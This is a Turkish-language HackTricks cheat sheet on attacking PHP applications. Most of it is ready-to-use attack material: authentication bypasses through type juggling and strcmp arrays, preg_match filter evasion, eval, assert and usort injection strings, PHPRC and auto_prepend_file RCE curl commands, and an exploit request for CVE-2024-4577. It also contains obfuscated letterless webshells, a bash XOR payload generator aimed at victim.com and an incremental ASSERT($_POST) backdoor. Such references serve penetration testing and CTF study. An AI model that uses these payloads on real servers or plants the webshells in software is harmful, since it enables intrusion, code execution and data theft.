PHP Tricks
Reading time: 15 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Çerezlerin yaygın konumu:
Bu, phpMyAdmin çerezleri için de geçerlidir.
Çerezler:
PHPSESSID
phpMyAdmin
Konumlar:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
PHP karşılaştırmalarını atlama
Gevşek karşılaştırmalar/Tür Karıştırma ( == )
Eğer ==
PHP'de kullanılıyorsa, beklenmedik durumlar ortaya çıkabilir ve karşılaştırma beklenildiği gibi davranmayabilir. Bunun nedeni, "==" sadece aynı türe dönüştürülmüş değerleri karşılaştırmasıdır; eğer karşılaştırılan verilerin türünün de aynı olmasını istiyorsanız ===
kullanmalısınız.
PHP karşılaştırma tabloları: https://www.php.net/manual/en/types.comparisons.php
"string" == 0 -> True
Sayı ile başlamayan bir dize, bir sayıya eşittir"0xAAAA" == "43690" -> True
Onaltılık veya ondalık formatta sayılardan oluşan dizeler, sayılar aynıysa diğer sayılar/dizelerle True sonucu ile karşılaştırılabilir (bir dizedeki sayılar sayılar olarak yorumlanır)"0e3264578" == 0 --> True
"0e" ile başlayıp herhangi bir şeyle devam eden bir dize, 0'a eşit olacaktır"0X3264578" == 0X --> True
"0" ile başlayıp herhangi bir harfle (X herhangi bir harf olabilir) ve ardından herhangi bir şeyle devam eden bir dize, 0'a eşit olacaktır"0e12334" == "0" --> True
Bu çok ilginçtir çünkü bazı durumlarda "0" dizisinin girdiğini ve bununla karşılaştırılan bir içeriği kontrol edebilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir hash oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlayabilirsiniz. Bu formatta zaten hashlenmiş dizeleri burada bulabilirsiniz: https://github.com/spaze/hashes"X" == 0 --> True
Bir dizedeki herhangi bir harf, int 0'a eşittir
Daha fazla bilgi için https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Tür Karıştırma varsayılan olarak in_array()
fonksiyonunu da etkiler (katı bir karşılaştırma yapmak için üçüncü argümanı true olarak ayarlamanız gerekir):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Eğer bu fonksiyon herhangi bir kimlik doğrulama kontrolü için kullanılıyorsa (şifre kontrolü gibi) ve kullanıcı karşılaştırmanın bir tarafını kontrol ediyorsa, şifre değeri olarak bir dize yerine boş bir dizi gönderebilir (https://example.com/login.php/?username=admin&password[]=
) ve bu kontrolü atlayabilir:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
strcasecmp()
ile aynı hata meydana gelir
Katı Tür Dönüşümü
===
kullanılıyor olsa bile, karşılaştırmayı tip dönüşümüne duyarlı hale getiren hatalar olabilir. Örneğin, eğer karşılaştırma karşılaştırmadan önce veriyi farklı bir nesne türüne dönüştürüyorsa:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match()
kullanıcı girişini doğrulamak için kullanılabilir (bu, kullanıcı girişinde herhangi bir kelime/regex'in kara listede olup olmadığını kontrol eder ve eğer yoksa, kod çalışmaya devam edebilir).
Yeni satır atlatma
Ancak, regexp'in başlangıcını belirlerken preg_match()
kullanıcı girişinin sadece ilk satırını kontrol eder, bu nedenle eğer bir şekilde girişi birden fazla satırda gönderebilirseniz, bu kontrolü atlatabilirsiniz. Örnek:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Bu kontrolü atlamak için değerin yeni satırlarla urlencoded olarak gönderilmesini (%0A
) ya da JSON verisi gönderebiliyorsanız, birkaç satırda göndermeyi deneyebilirsiniz:
{
"cmd": "cat /etc/passwd"
}
Find an example here: https://ramadistra.dev/fbctf-2019-rceservice
Uzunluk hatası atlatma
(Bu atlatma, görünüşe göre PHP 5.2.5 üzerinde denendi ve PHP 7.3.15 üzerinde çalıştırmayı başaramadım)
Eğer preg_match()
fonksiyonuna geçerli çok büyük bir girdi gönderebilirseniz, işleyemeyecek ve kontrolü atlatabileceksiniz. Örneğin, eğer bir JSON'u kara listeye alıyorsa, şunu gönderebilirsiniz:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
ReDoS Bypass
Trick from: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong
Kısacası, sorun PHP'deki preg_*
fonksiyonlarının PCRE kütüphanesi üzerine inşa edilmesinden kaynaklanıyor. PCRE'de belirli düzenli ifadeler, çok sayıda özyinelemeli çağrı kullanılarak eşleştirilir, bu da çok fazla yığın alanı kullanır. İzin verilen özyineleme sayısı için bir sınır belirlemek mümkündür, ancak PHP'de bu sınır varsayılan olarak 100.000 olup, bu yığının içine sığacak olandan fazladır.
Bu Stackoverflow başlığı da bu konunun daha derinlemesine tartışıldığı gönderide bağlantılıydı. Görevimiz artık netti:
Regex'in 100_000+ özyineleme yapmasını sağlayacak bir girdi gönderin, bu da SIGSEGV'ye neden olacak, preg_match()
fonksiyonunun false
döndürmesini sağlayacak ve böylece uygulama girdimizin zararlı olmadığını düşünecek, yükün sonunda {system(<verybadcommand>)}
gibi bir sürpriz atarak SSTI --> RCE --> flag :).
Regex terimleriyle, aslında 100k "özyineleme" yapmıyoruz, bunun yerine "geri izleme adımlarını" sayıyoruz, ki bu da PHP belgelerine göre pcre.backtrack_limit
değişkeninde varsayılan olarak 1_000_000 (1M) olarak ayarlanmıştır.
Buna ulaşmak için, 'X'*500_001
1 milyon geri izleme adımına (500k ileri ve 500k geri) yol açacaktır:
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
PHP obfuscation için Type Juggling
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Execute After Redirect (EAR)
Eğer PHP başka bir sayfaya yönlendiriyorsa ancak başlık Location
ayarlandıktan sonra die
veya exit
fonksiyonu çağrılmadıysa, PHP çalışmaya devam eder ve verileri gövdeye ekler:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Path Traversal ve Dosya Dahil Etme Sömürüsü
Kontrol et:
Daha Fazla Hile
- register_globals: PHP < 4.1.1.1'de veya yanlış yapılandırıldığında, register_globals aktif olabilir (veya davranışları taklit ediliyor olabilir). Bu, $_GET gibi global değişkenlerde bir değer varsa örneğin $_GET["param"]="1234", $param aracılığıyla erişebileceğiniz anlamına gelir. Bu nedenle, HTTP parametreleri göndererek kod içinde kullanılan değişkenleri üzerine yazabilirsiniz.
- Aynı alanın PHPSESSION çerezleri aynı yerde saklanır, bu nedenle bir alanda farklı çerezler farklı yollarla kullanılıyorsa, bir yolu diğer yolun çerezine erişecek şekilde ayarlayabilirsiniz.
Bu şekilde, her iki yol da aynı isimde bir değişkene erişirse, o değişkenin path1'deki değeri path2'ye uygulanabilir. Ve ardından path2, path1'in değişkenlerini geçerli olarak alacaktır (çereze path2'deki karşılık gelen ismi vererek). - Makinenin kullanıcılarının kullanıcı adlarını aldığınızda, php dizinlerinin etkin olup olmadığını kontrol etmek için adresi kontrol edin: /~<USERNAME>.
- LFI ve RCE php sarmalayıcıları kullanarak
password_hash/password_verify
Bu fonksiyonlar genellikle PHP'de şifrelerden hash oluşturmak ve bir şifrenin bir hash ile karşılaştırıldığında doğru olup olmadığını kontrol etmek için kullanılır.
Desteklenen algoritmalar: PASSWORD_DEFAULT
ve PASSWORD_BCRYPT
( $2y$
ile başlar). PASSWORD_DEFAULT genellikle PASSWORD_BCRYPT ile aynı olduğunu unutmayın. Ve şu anda, PASSWORD_BCRYPT'in girdi için 72baytlık bir boyut sınırlaması vardır. Bu nedenle, bu algoritma ile 72bayttan daha büyük bir şeyi hashlemeye çalıştığınızda yalnızca ilk 72B kullanılacaktır:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
HTTP başlıkları atlatma PHP hatalarını istismar etme
Başlıkları ayarladıktan sonra hata oluşturma
bu twitter dizisinde 1000'den fazla GET parametresi veya 1000'den fazla POST parametresi veya 20 dosya gönderildiğinde, PHOP'un yanıtında başlıkları ayarlamayacağını görebilirsiniz.
Bu, örneğin, kodlarda ayarlanan CSP başlıklarının atlatılmasına izin verir:
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
Başlıkları ayarlamadan önce bir gövde doldurma
Eğer bir PHP sayfası hataları yazdırıyorsa ve kullanıcı tarafından sağlanan bazı girdileri geri ekrana basıyorsa, kullanıcı PHP sunucusunun geri dönen bazı içerikleri yeterince uzun yazdırmasını sağlayabilir, böylece sunucu başlıkları yanıtın içine eklemeye çalıştığında bir hata verecektir.
Aşağıdaki senaryoda saldırgan sunucunun büyük hatalar vermesini sağladı ve ekranda görebileceğiniz gibi PHP başlık bilgilerini değiştirmeye çalıştığında, başaramadı (örneğin CSP başlığı kullanıcıya gönderilmedi):
PHP fonksiyonlarında SSRF
Sayfayı kontrol et:
Kod yürütme
system("ls");
`ls`;
shell_exec("ls");
Daha yararlı PHP fonksiyonları için bunu kontrol edin
preg_replace() ile RCE
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
"replace" argümanında kodu çalıştırmak için en az bir eşleşme gereklidir.
Bu preg_replace seçeneği PHP 5.5.0 itibarıyla kullanımdan kaldırılmıştır.
Eval() ile RCE
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
Assert() ile RCE
php içindeki bu fonksiyon, bir dize içinde yazılmış kodu çalıştırmanıza olanak tanır ve true veya false döndürür (ve buna bağlı olarak yürütmeyi değiştirir). Genellikle kullanıcı değişkeni bir dize içinde ortada yer alır. Örneğin:
assert("strpos($_GET['page']),'..') === false")
--> Bu durumda RCE elde etmek için şunları yapabilirsiniz:
?page=a','NeVeR') === false and system('ls') and strpos('a
Kod sözdizimini bozmanız, yüklemenizi eklemeniz ve sonra tekrar düzeltmeniz gerekecek. "and" veya "%26%26" veya "|" gibi mantıksal işlemler kullanabilirsiniz. "or", "||" çalışmaz çünkü ilk koşul doğruysa yüklemeniz çalışmayacaktır. Aynı şekilde ";" çalışmaz çünkü yüklemeniz çalışmayacaktır.
Diğer bir seçenek, dizeye komutun yürütülmesini eklemektir: '.highlight_file('.passwd').'
Diğer bir seçenek (eğer iç kodunuz varsa) bazı değişkenleri değiştirerek yürütmeyi değiştirmektir: $file = "hola"
RCE via usort()
Bu fonksiyon, belirli bir fonksiyonu kullanarak bir dizi öğeyi sıralamak için kullanılır.
Bu fonksiyonu kötüye kullanmak için:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
// ile kodun geri kalanını yorumlayabilirsiniz.
Kapatmanız gereken parantez sayısını keşfetmek için:
?order=id;}//
: bir hata mesajı alıyoruz (Parse error: syntax error, unexpected ';'
). Muhtemelen bir veya daha fazla parantez eksik.?order=id);}//
: bir uyarı alıyoruz. Bu doğru görünüyor.?order=id));}//
: bir hata mesajı alıyoruz (Parse error: syntax error, unexpected ')' i
). Muhtemelen fazla kapanış parantezimiz var.
.httaccess ile RCE
Eğer .htaccess yükleyebiliyorsanız, o zaman birkaç şeyi yapılandırabilir ve hatta kod çalıştırabilirsiniz (uzantısı .htaccess olan dosyaların çalıştırılabilir olduğunu yapılandırarak).
Farklı .htaccess shell'leri burada bulunabilir.
Env Değişkenleri ile RCE
Eğer PHP'de env değişkenlerini değiştirmeye izin veren bir güvenlik açığı bulursanız (ve dosya yüklemeye izin veren başka bir güvenlik açığı, daha fazla araştırmayla belki bu aşılabilir), bu davranışı RCE elde etmek için kötüye kullanabilirsiniz.
LD_PRELOAD
: Bu env değişkeni, diğer ikili dosyaları çalıştırırken rastgele kütüphaneleri yüklemenize izin verir (ancak bu durumda çalışmayabilir).PHPRC
: PHP'ye konfigürasyon dosyasını nerede bulacağını belirtir, genelliklephp.ini
olarak adlandırılır. Kendi konfigürasyon dosyanızı yükleyebilirseniz, o zamanPHPRC
'yi ona işaret edecek şekilde kullanın. İkinci yüklenen dosyayı belirten birauto_prepend_file
girişi ekleyin. Bu ikinci dosya, PHP çalışma zamanı tarafından diğer kodlardan önce çalıştırılan normal PHP kodunu içerir.
- Shell kodumuzu içeren bir PHP dosyası yükleyin.
- Adım 1'de yüklediğimiz dosyayı çalıştırması için PHP ön işleyicisine talimat veren bir
auto_prepend_file
direktifi içeren ikinci bir dosya yükleyin. PHPRC
değişkenini adım 2'de yüklediğimiz dosyaya ayarlayın.
- Bu zinciri nasıl çalıştıracağınız hakkında daha fazla bilgi orijinal rapordan edinebilirsiniz.
- PHPRC - başka bir seçenek
- Eğer dosya yükleyemiyorsanız, FreeBSD'de
stdin
'i içeren "file"/dev/fd/0
kullanabilirsiniz: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
- Ya da RCE elde etmek için
allow_url_include
'yi etkinleştirip base64 PHP kodu ile bir dosya ekleyin: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
- Teknik bu rapordan.
XAMPP CGI RCE - CVE-2024-4577
Web sunucusu HTTP isteklerini ayrıştırır ve bunları php.exe cgi.php foo=bar
gibi bir isteği çalıştıran bir PHP betiğine iletir, bu da bir parametre enjeksiyonuna izin verir. Bu, gövde içindeki PHP kodunu yüklemek için aşağıdaki parametreleri enjekte etmeye olanak tanır:
-d allow_url_include=1 -d auto_prepend_file=php://input
Ayrıca, PHP'nin sonraki normalizasyonu nedeniyle "-" parametresini 0xAD karakteri kullanarak enjekte etmek mümkündür. bu gönderiden istismar örneğini kontrol edin.
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
PHP Sanitization bypass & Brain Fuck
Bu yazıda çok az karakterle bir brain fuck PHP kodu oluşturmak için harika fikirler bulmak mümkün.
Ayrıca, birkaç kontrolü atlamalarına izin veren fonksiyonları çalıştırmanın ilginç bir yolu da önerilmektedir:
(1)->{system($_GET[chr(97)])}
PHP Statik analizi
Bu fonksiyonlara yapılan çağrılarda kod ekleyip ekleyemeyeceğinizi kontrol edin (buradan): here
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
Eğer bir PHP uygulamasını hata ayıklıyorsanız, hata yazdırmayı global olarak etkinleştirmek için /etc/php5/apache2/php.ini
dosyasına display_errors = On
ekleyebilir ve apache'yi yeniden başlatabilirsiniz: sudo systemctl restart apache2
PHP kodunu deobfuscate etme
PHP kodunu deobfuscate etmek için web www.unphp.net kullanabilirsiniz.
PHP Wrapper'ları ve Protokoller
PHP Wrapper'ları ve protokolleri, bir sistemde yazma ve okuma korumalarını atlamanıza ve onu tehlikeye atmanıza olanak tanıyabilir. daha fazla bilgi için bu sayfayı kontrol edin.
Xdebug kimlik doğrulaması yapılmamış RCE
Eğer phpconfig()
çıktısında Xdebug'ın etkin olduğunu görüyorsanız, RCE elde etmeyi denemelisiniz https://github.com/nqxcode/xdebug-exploit
Değişken değişkenler
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE kötüye kullanımı yeni $_GET["a"]($_GET["b"])
Eğer bir sayfada rastgele bir sınıfın yeni bir nesnesini oluşturabiliyorsanız RCE elde etme şansınız olabilir, nasıl yapılacağını öğrenmek için aşağıdaki sayfayı kontrol edin:
PHP - RCE abusing object creation: new $_GET"a"
Harf olmadan PHP çalıştırma
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Sekizli sayı kullanarak
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
XOR kolay shell kodu
bu yazıya göre, aşağıdaki şekilde kolay bir shellcode oluşturmak mümkündür:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
Yani, eğer rakamlar ve harfler olmadan rastgele PHP çalıştırabiliyorsanız, aşağıdaki gibi bir istek göndererek o yükü kötüye kullanarak rastgele PHP çalıştırabilirsiniz:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Daha derin bir açıklama için https://ctf-wiki.org/web/php/php/#preg_match adresine bakın.
XOR Shellcode (eval içinde)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perl benzeri
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.